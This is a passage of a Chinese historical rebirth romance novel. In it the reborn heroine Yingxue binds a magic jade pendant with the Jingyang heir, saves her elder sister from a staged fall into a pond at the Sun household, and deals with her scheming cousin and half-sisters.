映雪打趣道：“以后也不知道大姐姐会便宜了谁家，大姐姐既上得厅堂又下得了厨房，谁娶了你都是他的福气。”
苏秀蓉俏脸泛红，轻声嗔怪道：“莫要这般胡言乱语。”紧接着，她又开口说道：“明日我需前往外祖家参加表哥长子的洗三宴，外祖母让我在孙府多陪伴她一些时日。我不在府中的这段日子，你若得闲，就多去陪陪祖母。”
闻言，映雪的面色沉了下来。前世，大姐姐正是在她外祖父家参加洗三宴时，失足落水，被一男子所救。在众目睽睽之下，大姐姐被其抱在怀中，而那男子正是苏秀蓉三舅母的亲侄儿，乃吏部郎中之子。此人乃是京都出了名的纨绔，整日游手好闲，尽是寻花问柳之举。京城也没哪个疼女儿的府邸会把女儿嫁给他。苏秀蓉自然更不愿意，后来又因种种闲话，逼得自尽。从此，永安侯府与孙府及吏部郎中府都结下了仇怨。
苏秀蓉的外祖父乃是鸿胪寺卿，孙府子孙众多、枝繁叶茂，苏秀蓉光是舅舅就有五位，其中三舅舅为嫡出。
映雪想要阻止苏秀蓉去孙府，便故作委屈之态说道：“大姐姐，你当真一定要去吗？你也知晓，我刚刚得罪了四妹妹，二姐姐又向来是四妹妹的跟屁虫，你若不在，都没人理睬我了。”
苏秀蓉面露难色，亦有些为难地说道：“母亲不在，我自当替母亲尽孝，怎能不去？要不，你与我一同前往？”
映雪的眼神瞬间一亮，心想着有自己跟着，定然不会让大姐姐有落水的机会。
映雪欢喜地应道：“行，我还从未去过孙府呢，待午膳过后，咱们就一同去央求祖母应允。”
两人这才展露笑颜，高兴起来。
午膳过后，两人前往荣晖堂。老夫人听闻映雪要跟着大孙女去孙府，很是不赞同，说道：“你大姐姐是去外祖父家，你去凑哪门子热闹？况且你大姐姐还要在孙府住上几日，你跟着去着实不合适。”
映雪赶忙上前挽起老夫人的胳膊，撒娇道：“祖母，您就让我去吧，我都未曾去过孙府呢，大姐姐的外祖家不也算是我的外祖家嘛，我保证乖乖听大姐姐的话，绝对不会闯祸的。”
苏秀蓉也跟着求情：“祖母，外祖母见到映雪定会高兴的，映雪到时候与我一同睡便好，我与孙府的那些表妹们也并不熟络，映雪去了正好与我做个伴呢。”
老夫人被映雪缠得没法，无奈应下，并叮嘱苏秀蓉道：“秀蓉，你这妹妹调皮得很，你务必要盯着她，千万不可在孙府惹事，尽早回府。”
两人连连保证。
映雪回到映月阁后，接连写了两封信。她将其中一封与一个盒子一同交到绿绮手中，郑重吩咐道：“这封信和这盒香丸，你亲自送至豫亲王府，最好能亲手交予
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郡主或者豫亲王世子。”接着，她拿起另一封，接着说道：“从豫亲王府出来后，你顺路去一趟景阳侯府，将这封信交给景阳侯府的人，让他们转交给他们的世子。记住了，上面都有名字，千万别给错了。”
绿绮赶忙连连应道：“保证完成任务。”随后便匆匆离开。
映雪在心里暗自思忖，接下来的这段日子，她面临的危机着实不少。既得罪了四妹妹，又因七弟之事惹怒了大夫人，向莞宜还即将来府里。倘若这玉佩当真为一宝物，或许还能派上用场。
许牧舟收到信件，待看到内容笑出了声，心想，“真是个不肯服软的小丫头。”信上说为保景阳侯府家传宝物不流失，愿牺牲自己守护，若景阳侯府念功给酬劳也不拒绝。
双喜见世子爷笑得一脸春心荡漾，立马贱兮兮地凑过来问道：“世子爷，可是桃花姑娘？”
许牧舟瞥见双喜那看好戏的神情，吼道：“有你什么事，滚！”
双喜却也不惧，只是嘿嘿一笑，识趣地退了下去
许牧舟心情甚好，修长的手指轻扣着桌面，响午时，还思量着要如何再去激一激她，没曾想对方当日便送了信来。
待用过晚膳，洗漱后，特地换上了一身天蓝色的锦袍，愈发显得英俊潇洒。
映雪晚膳后，没能忍住又吃了两个海棠酥，结果有些积食，便在映月阁的院子里来回踱步，以助消食，同时吩咐丫鬟收拾明日去孙府的物品。
忽然，肩膀一阵疼痛，像是被什么物件砸中，映雪低头一瞧，竟是一粒珍珠。她抬头观望，只见院子里的那颗梧桐树上站着一位身着天蓝色锦袍的男子，再仔细一看，正是景阳侯世子许牧舟。
心里不禁暗骂一声：真是个败家子！
许牧舟见映雪发现了自己，当即飞身至映雪跟前，把映雪吓了一跳。映雪忙白了他一眼，轻声斥责道：“大哥，你这般突然出现在我的院子里，我的清誉还要不要啦！”
许牧舟皱起眉头，“那我走了。”说着，还作势要离开。映雪向四周张望了一番，见正好无人，连忙拉住了许牧舟的袖子，许牧舟的嘴角随即勾起。
紧接着便听到映雪说道：“既然都来了，就省得再另找时间了。”
随后，映雪把许牧舟带到了静逸庐。静逸庐地处偏僻，丫鬟除了平日里清扫，也很少过来。
许牧舟仔细地打量了一番静逸庐，而后朝着映雪说道：“你先将玉佩拿出来。”映雪倒也不忸怩，从里衣中把玉佩掏了出来。只见许牧舟竟从靴子里抽出一把匕首，还未等她询问其用意，那匕首就朝着他自己的手指割去，划出一道口子，鲜血汩汩流出，许牧舟迅速地将鲜血滴到玉佩上。
瞬间，玉佩竟神奇地消失不见了，映雪只感觉左胸口隐隐有发热之感。
14. 玉佩
随后，映雪只觉脑海中一阵光芒闪过，有关玉佩的详细信息及使用之法便如一幅画卷展开。
玉佩乃是一方奇异空间，其中珍藏着各个行业的珍贵秘方，还有一片灵泉，灵泉中的灵液具有起死回生的神效。玉佩主人能够通过积攒功德获得积分，以此从玉佩中获取相应的秘方。而当玉佩主人与命定之人结合时，玉佩主人便可以自由出入玉佩空间。
映雪看到最后一句，脸色瞬间羞得通红。难道这就意味着她与景阳侯世子因这块玉佩已经被命运紧紧绑到了一起？
许牧舟只见玉佩在眼前倏地消失不见，紧接着便看到映雪神情发愣，目光呆滞，心中便猜测这定与玉佩的突然消失有关。再瞧向映雪，只见她脸色绯红，神情中似乎带着几分闪躲之意，不禁挑眉好奇地问道：“到底是何宝物？为何会消失不见？”
映雪也感到纳闷，玉佩明明是景阳侯府的传家之宝，为何许牧舟对玉佩却并不了解，于是问道：“玉佩是你们景阳侯府的，你自己难道不清楚吗？”
许牧舟摇头并不搭话，“他知晓玉佩的开启之法，还是从祖父给他留下的锦囊中找到的，上面只写了‘遇到命定之人便可知晓’。”
映雪见状，便也不再多说，随后道：“玉佩是一方空间，但现在我无法进入，所以也不清楚里面的具体大小。空间里存有各种秘方，不过想要取出，需要积攒功德来换取。”
映雪猛地回想起澄大师给她的那纸签文，心中不禁揣测，不知自己的重生是否与这神秘玉佩有关。
许牧舟声音低沉，说道：“意思是这宝贝当下只能看得见，却无法触及？”
映雪轻轻点了点头。
紧接着，便听见前方传来一阵脚步声，映雪暗自猜测应该是丫鬟找过来了。
她转头朝着许牧舟说道：“有关玉佩的事，等有了新的进展我再告知于你。我的丫鬟找来了，我先告辞了，你自便。”
话音刚落，便从门口传来绿绮焦急的声音：“姑娘，你在里面吗？”
映雪闻声快步走了出去，应道：“我想起有东西落在静逸庐了，过来瞧瞧。”
许牧舟静静地坐着未动，心中暗自猜测，映雪进不了玉佩空间应当与自己有关，毕竟她眼下还不是许家之人。
映雪在沐浴之时，便瞧见了左胸口上印着鲜明红图案的玉佩。
竹韵瞧见，惊得一时呆住发愣。映雪余光瞥见她的神情，解释道：“我也不明白为何玉佩会变成这样，你千万不要跟任何人提及玉佩之事。”
竹韵忙不迭点头，心里想着，这玉佩不管再有怎样的神奇之处，她如今都觉得能够接受了。
第二日，晨曦初现，映雪早起洗漱完毕，待梳妆打扮妥帖，用过了早膳。
映雪先去了如意院，恰好大夫人正哄着苏敏皓吃蛋羹。苏敏皓一瞧见映雪，便冲着她喊道：“不要三姐姐，三姐姐坏。”
映雪见大夫人默不作声，故意将她晾在一旁，心中不禁冷笑。她也不去理会苏敏皓，径直走上前，规矩地向大夫人行了礼，接着便道：“母亲，七弟如今已然六岁。古人云，三岁看老。七弟如此不懂事，若再不加以教导，恐怕将来会给侯府招致祸端。”
大夫人的脸色瞬间变得铁青，不过很快又恢复如初，说道：“映雪，你弟弟尚小，你莫要与他计较。”接着又朝着苏敏皓轻斥道：“快给你三姐姐道歉，究竟是谁教你这般说话的？”苏敏皓见母亲朝自己发火，顿时哭了起来。
映雪不愿多作纠缠，福身说道：“母亲，我随大姐姐去孙府住几日，这便先走了。”
来到荣晖堂，苏映蓉、苏沁雪已听说了映雪要去孙府做客之事。
苏映蓉道：“三妹妹，你怎会想到要跟大姐姐去孙府？上回母亲让你去江府给外祖母过寿，你可是不愿意去的呢。”
映雪挑眉，含着笑道：“上次不正是你让我不要去的吗？说母亲难得回江府，让我不要妨碍母亲和四妹妹享受天伦之乐。”
苏映蓉气急败坏，道：“我何时说过这话了？”
映雪回道：“你私下与我感慨，说羡慕四妹妹还有亲外祖家可去，让我届时在江府别粘着母亲和四妹妹太紧，免得外祖母要与母亲她们说些体己话都不方便，不就是这个意思吗？”
苏映蓉一时语塞，这苏映雪何时变得如此能言善辩了？她说那话，原本只是故意想让苏映雪心里难受，毕竟母亲表面上对她再好，也不过是继母罢了。
见苏沁雪脸色难看，苏映蓉赶忙解释道：“三妹妹，你误会我的意思了，我不过是见母亲对你比对四妹妹还要好，心里有些发酸吃味罢了。”
映雪故意拖长尾音，语调婉转地“哦......”了一声。
老夫人见不得孙女们起了口角，打断两人，朝着苏秀蓉说道：“时辰不早了，秀蓉，你们早些出发吧。”
映雪与苏秀蓉上了府里备好的马车，共有两辆，后面那辆坐着随行的丫鬟。孙府距离永安侯府颇为遥远，乘坐马车大致需要一个时辰。映雪想起苏秀蓉的婚事，遂向苏秀蓉打听道：“大姐姐，你喜欢什么样的男子？”
苏秀蓉被映雪的问话惊到，嗔怪道：“你年岁尚小，怎问这般不知羞的问题？婚姻大事自是
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由长辈做主。”
映雪并不服气，辩驳道：“可长辈们所选的未必就是我们心仪的呀，大姐姐难道就从未想过心目中的夫君是何模样？”
苏秀蓉瞬间羞红了脸，并未作答。
映雪瞧见，顿时来了精神，说道：“大姐姐，你该不会是已有了心上人吧？对方是何身份，祖母可曾知晓？”
苏秀蓉赶忙摇头，急声道：“别瞎说，没有的事。”
映雪心里并不相信，暗自思量着等从孙府归来，再仔细探查一番，万万不能让大姐姐被人给骗了。
两人闲聊着，时间过得飞快，转眼间便到了孙府。
孙府门前热闹非凡，迎客的管家满面笑容。见到永安侯府的马车抵达，连忙迎上前来行礼，看到永安侯府嫡出的三姑娘也在一旁陪同，笑意更是增添了三分，亲自迎着她们前往老夫人的院子。
苏秀蓉向老夫人行礼，顺便将映雪引见给众人。老夫人喜笑颜开，拉起映雪的手，接连道了三声“好，好，好。”紧接着，便将手腕上的玉镯褪下，戴到了映雪手上。
映雪连连拒绝不掉，看向苏秀蓉，苏秀蓉含笑道：“外祖母送的，映雪莫要客气。”
映雪只好收下，接着便让竹韵把她送给老夫人的礼物呈了上来，正是先前送给祖母的“逸香丸。”
众人被盒子里那玲珑的香丸所吸引，纷纷打听道：“这是何物？”
映雪含着笑说道：“这实则也是一款香，具有养心宁神之效，正适合诸位长辈。”
言罢，便让丫鬟取了一颗香丸去试用。慢慢地，麒麟香炉中飘出袅袅的香氛，如梦似幻，宛如身姿轻盈的美人翩翩起舞，飘飘摇摇地弥漫于整个庭院之中。渐渐地，众人心中的浮躁之感被抚平，犹如重回母胎般安心。
“此香竟如此神奇！”众人纷纷好奇打听何处有售卖。
映雪轻轻摇头，浅笑着说道：“这是我亲手炼制的。”
众人皆感可惜，她们可没那份脸面让侯府的嫡女亲手为她们制香。
也有人提出疑问：“苏姑娘，这香丸比市面上惯用的香膏神奇多了，永安侯府为何不开香铺售卖？”
映雪含着笑回答：“正在筹备当中，届时还会有其它功效的香丸一同售卖，比如美容养颜、润肺清喉、安神助眠等等。到时欢迎各位夫人、小姐前去捧场，定会给诸位优惠。”
众人一听有美容养颜的香丸，皆是欢喜不已，连忙催促映雪早日开张。
映雪微笑着点头，心里暗自思忖，自己确实该加快速度了，清平都写信催她了，她近日忙得一直抽不出空。
15. 落水
孙府的姑娘着实众多，在老夫人的院子里应付了好一会儿，老夫人便让孙府的姑娘们陪着映雪和表姐苏秀蓉去花园里游玩。
孙大姑娘笑意盈盈地提议道：“府里的莲花池中的睡莲乃是从外面引入的特殊品种，这会子正是开得最为娇艳的时候，要不咱们去赏莲如何？”紧接着，孙三姑娘也巧笑说道：“再让丫鬟把点心送到池边的亭子里，我们一边赏莲一边聊天，岂不快哉。”众人皆无异议，映雪自然也不便提出其它想法，客随主便，心想着自己寸步不离地跟着大姐姐，应当不会有什么不妥。
一行人缓缓行至莲花池旁，只见一片粉色、白色的花瓣娇嫩欲滴的睡莲映入眼帘。已是秋天，微风轻拂而过，带着丝丝缕缕的凉意。有几人已在亭子里悠然坐了下来，不多时，便有几个丫鬟分别端着点心盘子碎步走来。
映雪正要落座，不曾想与正要摆放点心的丫鬟撞了个正着，那沾着蜜汁的点心瞬间全撒落在映雪的身上。映雪不由地皱起眉头，心中暗自思索这是不是巧合。那丫鬟似是受了极大的惊吓，“扑通”一声急忙下跪，连连求饶，声音中都带着颤抖和惶恐。
孙大姑娘见此情形，顿时柳眉倒竖，对那丫鬟怒喝道：“你是怎么做事的？怎这般毛手毛脚，如此不小心！”
苏秀蓉的脸色也变得有些难看，忙伸手扶起映雪，说道：“我陪你去房间换身衣裳。”
映雪瞥了一眼那跪在地上瑟瑟发抖的丫鬟，轻声道：“你先起来吧。”
孙三姑娘却在一旁打趣道：“表姐，让丫鬟带苏三姑娘去换衣裳就行啦，才几步路的事儿，有何不放心的。”
苏秀蓉满脸的不放心，说道：“三妹妹未来过孙府，对孙府也不熟悉，我陪三妹妹去才妥当，你们先玩着吧。”
孙大姑娘自觉照顾不周，赶忙抢着对苏秀蓉说道：“表姐，还是我陪苏三姑娘去吧，你留下陪妹妹们聊会天。”
苏秀蓉依旧不愿，却被映雪打断：“好了，大姐姐，就让孙大姑娘陪我去吧。”她心中暗想，她也想知道，究竟是谁在背后算计大姐姐。
接着便把绿绮叫到了一旁，低声叮嘱道：“绿绮，一会竹韵陪我去换衣裳，你留下照看大姑娘，别让大姐姐去水边，也要仔细观察着周边有没有什么异动，我突然感觉到有些心慌，似乎会有什么不好的事情发生。”
听言，绿绮满脸着急，说道：“姑娘，那你身边就跟着竹韵一人不太妥吧？”
映雪摇摇头，说道：“我无碍，我感觉这事与大姐姐有关。”
绿绮应道：“姑娘，你放心，我定会寸步不离地跟着大姑娘的。”
映雪这才稍稍有些放心。
紧接着，映雪就跟着孙大姑娘往客房走去。一路上，孙大姑娘都在不停地向映雪赔着不是，映雪也不好对她甩脸色，两人边走边聊，气氛倒也显得十分融洽。
待换好衣裳往亭子走去，还未走近，便听到前方传来一阵惊恐的尖叫声：“有人落水了！”
映雪瞬间觉得一股热气直冲脑门，拔腿就朝着池边飞奔而去。
待她靠近，便瞧见大姐姐苏秀蓉一脸焦急地站在池边，眼睛紧紧盯着池中救人的动向。
见大姐姐安然无恙，映雪这才长长地舒了一口气，把心放回了肚子里。
绿绮正全神贯注地注意着身边的动向，见映雪匆匆过来，忙快步迎了上去。
映雪眉头紧蹙，急切地问道：“怎么回事？”
绿绮的语气中稍带着些幸灾乐祸：“姑娘，您的直觉真准！要不是奴婢一直紧盯着，这落水的可就是大姑娘了。”她顿了顿，又接着说道，“孙三姑娘站在大姑娘身后，不知怎的突然崴了脚，整个人就要往大姑娘身上倒去。奴婢眼疾手快，一把将大姑娘给拉了过来，结果孙三姑娘就掉进水里了。”
映雪又追问道：“你们不是在亭子里吗，怎么跑到池边了？”
绿绮没好气地回道：“还不是孙三姑娘，非得闹着说要去池边采莲。”
话音刚落，孙三姑娘已被一年轻男子救了上来。此人正是前世救苏秀蓉之人，也是苏秀蓉三舅母的亲侄儿，更是孙三姑娘的嫡亲表哥。
苏秀蓉见映雪过来，忙不迭地夸赞绿绮道：“映雪，多亏了绿绮机灵。若不是她，恐怕我这会已经落水了。”紧接着又道，“三表妹哭得凄惨，只怕她这婚事是要订下了。我听其他几个表妹说，这位公子可不是个值得托付终身之人。”说罢，脸上满是替孙三姑娘感到可惜的神情。
映雪心里暗自思忖，孙三姑娘这是自作孽，大姐姐与她可是嫡亲的表姐妹，她竟存着这等害人的心思。但她不想说出来让大姐姐伤心，便说道：“表哥表妹，也正好一家亲呢，也算般配。”紧接着又道：“大姐姐，孙府出了这等事，恐怕也不便再招待我们了，要不我们回侯府？”
苏秀蓉沉思了一会儿，然后答道：“那行，我一会儿就去跟外祖母说一声，等用过了席，咱们就回侯府。”
孙老夫人听闻外孙女要回府，眼中满是不舍，拉着苏秀蓉的手叮嘱道：“秀蓉啊，你既然要回去，外祖母也就不留你了。我刚听下面的丫鬟说了，落水之人差点就成了你，还好你安然无恙，不然我这把老骨头可真没脸去见你母亲了。”苏秀蓉见外祖母如此伤心，眼眶一下子就红了，声音带着哽咽，连连安慰道：“外祖母，您莫要这般伤心，我这不是好好的嘛，三表妹遭了事，还等着您安慰呢，您可要保重身体。”
孙老夫人平复了一下情绪，接着又朝着映雪
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说道：“苏三姑娘，这次府里招待不周，让你和秀蓉受了惊吓，还望莫要见怪。下次一定再和秀蓉来府里玩，外祖母好好招待你们。”映雪微微福身，脸上带着得体的笑容，表示无碍，轻轻点头应道：“老夫人言重了，您放心，我们定会再来的。”
老夫人笑着点头，并让下人把准备好的随礼搬到了永安侯府的马车上。
映雪和苏秀蓉回了侯府，刚进府门，便有丫鬟匆匆上来禀告：“向表姑娘来府里了。”
苏秀蓉听闻，脸上露出欢喜的笑容，转头地对映雪说道：“向表妹来了，你就有玩伴了。”却瞧见映雪兴致缺缺，不禁好奇地问道：“你不是向来最喜欢向表妹的吗？怎么今儿个瞧着不高兴？”
映雪轻轻叹息一声，眉头微蹙，忧心地说道：“前段时日我不是去昙华寺吗？替自己求了个平安签，签上说一山不容二虎，不久府里便要多出一条虎，恐会对我不利。”她顿了顿，接着又道：“向表妹只差我一个月，也是属虎的。我也不知这签文可不可信，心里便有些担忧罢了。”
听言，苏秀蓉顿时面露焦急之色，忙道：“那怎么行，我们这就去跟祖母说，让祖母来想办法。”说着，便伸手要拉映雪的手往荣晖堂去。
映雪连忙伸手阻止，急切地说道：“大姐姐，不可！若真这样说了，到时外人还以为是我心胸狭隘不容人呢。”
苏秀蓉这才想起，如此会对映雪的名声不利，一时也有些无措，问道：“那可如何是好？”
映雪微微思索，接着说道：“签文未必可信，这段时日我尽量与向表妹保持距离。到时候向表妹若问起，也麻烦大姐姐帮我周旋一二，以免向表妹伤心。待过了这段时间，想来就不妨事了。”
苏秀蓉连忙点头应道：“好，你放心，我定会帮你的。”
两人一同前往荣晖堂，向老夫人仔细解释了没在孙府留宿的缘由。
随后，映雪回了映月阁。白芷手捧托盘，上面放置着一套精致的茶具，稳步走了进来，将茶水轻轻放置在桌上，而后微微欠身，对着映雪说道：“姑娘，向表姑娘来侯府了。另外，江嬷嬷也回来了，让奴婢向您告罪，她一路上风餐露宿，沾染了满身的风尘，待收拾妥帖了，明早再来向您请安。”
映雪闻言，轻轻放下手中的茶杯，那茶杯与桌面相触，发出一声清脆的声响。秀眉微蹙，喃喃自语道：“还真是巧。”
晚上，月色如水，映雪在弥漫着热气的浴桶中沐浴。不经意间瞥向左胸口，发现那玉佩的图案颜色竟似乎有些许变淡。怀着一丝好奇，用意念感知，竟发觉已有积分入账，是大姐姐苏秀蓉以及五弟苏璟谦的感激之心。
映雪微微仰头，任由热水浸湿发丝，眼眸中闪烁着思索的光芒。
16. 江嬷嬷
翌日一早，映雪醒来，便瞧见江嬷嬷亲自端着一盆水走了进来。见映雪起身，江嬷嬷赶忙上前伺候，朝着映雪行礼，说道：“姑娘，奴婢回来了。”紧接着，她仔仔细细地打量着映雪，一脸疼惜地道：“姑娘瘦了。”
映雪望着江嬷嬷一脸心疼自己的模样，一时间竟难以分辨江嬷嬷是何时与向莞宜勾结在一起的，此刻的江嬷嬷对自己究竟还算不算忠心？
映雪沉默片刻，问道：“江嬷嬷的亲人可都还好？还有哪些亲人在世呢？”
闻言，江嬷嬷回答道：“奴婢的弟弟尚在，还给奴婢生了两个侄儿，多谢姑娘惦记。”
映雪又问道：“嬷嬷在京城并无亲人，可有想过年老之后回家乡与弟弟团聚？”
江嬷嬷以为映雪是想要成全她与弟弟团聚，连忙摇头道：“弟弟有他自己的家，我怎好去打扰。这次能够回乡探亲，也是托姑娘的福。”又接着说道：“当年家乡发洪水，整个村子都被冲没了，到处都是哀鸿遍野的景象。奴婢和奴婢家那口子带着还不到三岁的女儿，还有父母、弟弟，随着难民一路乞讨来到这京城。若不是先夫人心善，见奴婢险些饿死，把奴婢带进侯府，奴婢怕是也活不成了。奴婢今后只愿跟着姑娘，看着姑娘结婚生子，以报答先夫人的救命之恩。”
映雪见江嬷嬷未曾提及和她一起逃难的其他家人，便问道：“那你的其他家人呢？”
随即，江嬷嬷红了眼眶道：“奴婢在半路上就与他们冲散了，这次回乡，也是想打探他们的消息。当年圣上派人救灾，灾情稳定后，有不少人回了家乡。这还是上次奴婢在京城碰到做生意的同乡人，才知晓的。所以那次奴婢才跟姑娘请了假，想要回乡看看。可奴婢这次回去，只见到了弟弟一人，父母在途中就已经去世了。至于奴婢家那口子与女儿，也不知去向，兴许是没活下来。”说着，江嬷嬷用袖子擦了擦眼角的泪水。
听闻这种灾难，映雪心里亦是极为不好受，此刻也没了心思去计较江嬷嬷到底还是不是忠心，只能日后留意着。若江嬷嬷真存异心，总归能查到些蛛丝马迹。于是，映雪便安慰江嬷嬷道：“没有消息或许就是好消息，或许将来还有机会相认呢。若是嬷嬷心里难受，就再休息两日吧。”
江嬷嬷连声拒绝：“借姑娘吉言，都怪奴婢多嘴，惹得姑娘也跟着难受。奴婢不碍事，用不着再休息。”
早膳时，丫鬟前来禀告：“姑娘，表姑娘过来了。”
紧接着，一位身着月白色罗裙的妙龄少女步入屋内。眉如远黛，无需描绘便翠色天成，顾盼之间，似有万千情思流转。
正是向莞宜。
瞧见映雪正在用膳，向莞宜走上前来行礼，而后亲昵地说道：“表姐，没打扰你用膳吧？听丫鬟提及，你和大表姐已从孙府归来，我便迫不及待地想来见你。”
映雪放下手中筷子，丫鬟递来漱口水。映雪漱口完毕，温和回道：“不打扰，我刚好用完膳。我不知你昨日就来了侯府。”
随后，向莞宜从袖口里拿出一个别致的璎珞。璎珞由金线编制而成，碎碎的珠宝点缀，下摆垂着长短不一的流苏，流苏上还挂着小铃铛，精致至极。
向莞宜将其递给映雪，说道：“表姐，这是我亲手为你制作的璎珞，你看喜欢吗？”
映雪浅笑道：“表妹一向手巧。”接着又问道：“你可有给四妹妹她们也送了？”
向莞宜略显慌乱，含糊其辞道：“都有的，不过没有表姐的精致。”
映雪点头笑道：“送了便好，不然四妹妹又要吃醋，说表妹只对我一个人好。”心里却在讥笑，前世自己就这样被向莞宜糊弄，以为向莞宜只对自己特别，比对嫡亲的表妹还要好。每次向莞宜送她亲手制的帕子、香囊之类，她就任由向莞宜在她的梳妆盒里挑选喜欢的头饰。她也不曾想，若向莞宜真对她好过苏沁雪，大夫人怎会让向莞宜来侯府。
映雪此次并未如往常一般，让向莞宜在她的梳妆盒里挑头饰，只当没有这回事，说道：“我要去向祖母请安，你要一起去吗？”说着，便把璎珞交给丫鬟，让其收起来。
向莞宜见映雪没有向往常一样，当即就把她送的璎珞戴在身上，也没像以前一样要送她回礼，一时有些发愣。
映雪却朝她喊道：“表妹，你要跟我去荣晖堂吗？”
向莞宜这才回神，赶忙点头道：“要的，我来映月阁便是想邀表姐一起去向老夫人请安。”
两人朝荣晖堂走去，向莞宜见映雪待她不如往日热情，以为映雪有心事，于是问道：“表姐，你可是有心事？我能帮上什么忙吗？”
映雪摇摇头：“我是在想大姐姐的亲事。昨天听祖母说，大姐姐的亲事快订下来了，等大姐姐订亲，就要轮到二姐姐了，侯府的女孩子就只剩我和四妹妹了，一时觉得有些难受。”
向莞宜捂嘴笑道：“原来表姐是舍不得大表姐呀，要是表姐觉得孤单，我可以在侯府陪你。”
映雪挑眉道：“可你也不便长期待在侯府吧，且之前听四妹妹说，你这次来侯府，是外祖母让母亲替你相看的，等你订亲了，也不方便再出府了。”
向莞宜随意一笑，道：“相看也不一定能相中呀，我和表姐一样，不求对方身世、地位，只想找与我情投意合之人。”
映雪又追问道：“那表妹可有心仪之人？”
向莞宜摇头，正欲答话，便碰到苏映蓉和苏沁雪两人，她们也正是去向老夫人请安。
苏映蓉瞧见映雪二人，含笑着对旁边的苏沁雪道：
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“四妹妹，我说向表妹定是去找三妹妹了吧，她俩一向好得跟亲姐妹似的。”
映雪暗自道一声可惜，她本想套向莞宜的话，看她与陈煜安进展到哪一步了。
四人一同前往荣晖堂，苏秀蓉已经到好一会儿了。映雪打趣道：“大姐姐对祖母的孝顺，我们可都比不上，有你在，祖母眼里都瞧不见我们啦。”
老夫人笑得开怀，朝映雪招手道：“那你快过来，让祖母抱抱你，省得你说祖母偏心。”
苏映蓉在一旁瞧着，心里一阵堵得慌，这嫡出的就是好，说几句花言巧语，老夫人就疼得什么似的。心下想着，这苏映雪最近是开了哪窍，以前还对老夫人有所惧怕，觉得老夫人对她们严厉呢。
待几人都请过安，老夫人朝向莞宜温和地问道：“向丫头，昨晚可睡得安好？在侯府不必拘束，就当成自己家。”
向莞宜瞬间红了眼眶，感动道：“多谢老夫人关怀，莞宜在侯府睡得比在向府还好，老夫人待莞宜比亲祖母还要亲，只愿莞宜来世能衔草相还，报答老夫人。”
老夫人也知晓向府的一些事，她身为外人不便多问，只能在心里暗自叹息一声。
便也安慰道：“向丫头才貌双全，知书达理，你的好日子都在后头，莫要想太多。”
映雪不愿祖母为外人劳神，打断老夫人道：“祖母，您昨日说要替大姐姐相看的是哪家？”
老夫人微笑着道：“是萧家二老爷家的嫡子。”
映雪又问道：“可是萧相的亲弟弟那家？”
老夫人点头，眼中含着羡慕的神情说道：“不错，正是他家。萧家乃有上百年传承，历经了两个朝代，是真正的世家，家风亦是极好，男子四十无子方能纳妾。”接着又道，“那位七少爷正是萧二老爷的嫡次子，年方十八，已是秀才之身，亦是个文武双全的才子。”
映雪回想前世，似乎并没有这位七少爷的不良传闻流出，以萧家的家风，这门亲事于大姐姐而言极好。
映雪仔细观察苏秀蓉的表情，只见她一脸含羞，并无异样。但想到那次在马车里大姐姐的异常，还是有些放心不下，还得仔细留意。想到此处，忍不住叹气，她能用的人着实太少了，映月阁信得过的也就竹韵和绿绮两人。
苏映蓉对苏秀蓉极为羡慕，语气微酸道：“大姐姐真是好福气，从一个福窝掉进了另一个福窝。”
老夫人见苏映蓉神情，便也对她说道：“等你大姐姐订亲之后，就轮到你了，咱们侯府的女孩少，个个金贵，你母亲定会为你选一门好亲事。”
苏映蓉假装害羞，赶忙低下头来，眼中却闪过一道寒芒，心里暗自思忖：“她得为自己筹谋了，指望大夫人，哼，怕是只有给苏沁雪作垫脚石的份儿。”
17. 嫉妒
刚出荣晖堂，绿绮便急匆匆地找了过来，气喘吁吁地对映雪说道：“姑娘，豫亲王府传了话来，差不多巳时，嘉柔郡主与清平县主要来侯府找您。”
映雪抬头瞧了瞧天色，巳时将至，随即抬脚朝着大门走去，苏秀蓉、苏沁雪四人也伴随在侧。
映雪暗自懊恼，这段时日诸事繁杂，一直未曾给嘉柔下帖子邀她来玩，怕是嘉柔要怪罪于她了。
几人在大门口稍等片刻，便有一辆精致华丽的马车在侯府门前停下。
映雪迎了上去，马车帘子被拨开，从里面走出两位姑娘。身着鹅黄衣裙、天真娇俏的是嘉柔郡主，另一位身着黛绿衣裙、沉稳大气的，正是康郡王之女清平县主。
映雪向两人行礼，略带歉意地道：“这段日子忙得昏天黑地，一直没给你们下请帖。”
嘉柔轻哼道：“要不是我们来找你，怕你都要把我们忘在哪个角落里了。”
映雪笑道：“怎敢，怎会。”又转向清平郡主道：“你俩怎的一起来了？”
清平温和地笑道：“不请自来已是失礼，我们先去向老夫人请安，待去了你的院子再慢慢聊。”
说罢，三人手拉手朝府里走去。
苏秀蓉带着苏沁雪几人过来行礼，两人点头回应。
映雪对着两人介绍苏秀蓉道：“这是我大姐姐，我大姐姐做的海棠酥可美味了，比外面酒楼卖的还要好吃，下次请你们尝尝。”
闻言，嘉柔对苏秀蓉多了几分亲和。
映雪带着两人去荣晖堂向老夫人请安，老夫人甚是高兴，送了两人每人一支翡翠簪子。
紧接着，映雪带着两人前往映月阁，苏沁雪想与郡主及县主交好，热情地问道：“郡主与县主平日喜欢做些什么消遣？我与三姐姐都可陪你们一起玩。”又问道，“可有喜欢吃的点心？我安排大厨房去做。”
清平县主只是含着笑，并不搭话，嘉柔郡主则有些厌烦，道：“我们与映雪姐姐有事相商，你们就不必陪同了，有映雪姐姐招待便好。”
闻言，苏沁雪面露尴尬，也停下了脚步，勉强笑道：“那沁雪便不过去打扰了，你们聊得愉快。”
说罢，站在原地不动，望着映雪三人渐行渐远。
嘉柔忍不住对映雪说道：“你这妹妹与我那庶姐真是如出一辙，都假得很。”
映雪含笑不语。
方才她也不便阻拦苏沁雪，否则，苏沁雪定然会觉得她是有意阻止其与郡主交好。
虽说她并不惧怕，但也无意多生事端。
苏秀蓉带着丫鬟回了凝香居，苏沁雪身旁跟着苏映蓉及向莞宜两人。
向莞宜见苏沁雪一脸不快，似是感慨般说道：“映雪表姐这才是真正的贵女，郡主与县主都能主动上门与她交好，想来映雪表姐的婚事无需侯府费心了，就算是要嫁给皇子也是极为般配，还能为侯府增添荣耀。”
闻言，苏沁雪脸色阴沉，未理会苏映蓉和向莞宜二人，带着丫鬟径直回了落雪院。
苏映蓉瞧了眼向莞宜，暗自揣测向莞宜方才那些话是无意之言还是有意为之。
向莞宜见苏映蓉若有所思，接着又笑道：“要是三表姐真能成为皇子妃，对四表妹而言也是极好的呀，有个嫡亲的姐姐当皇妃，四表妹想嫁谁还不成。”
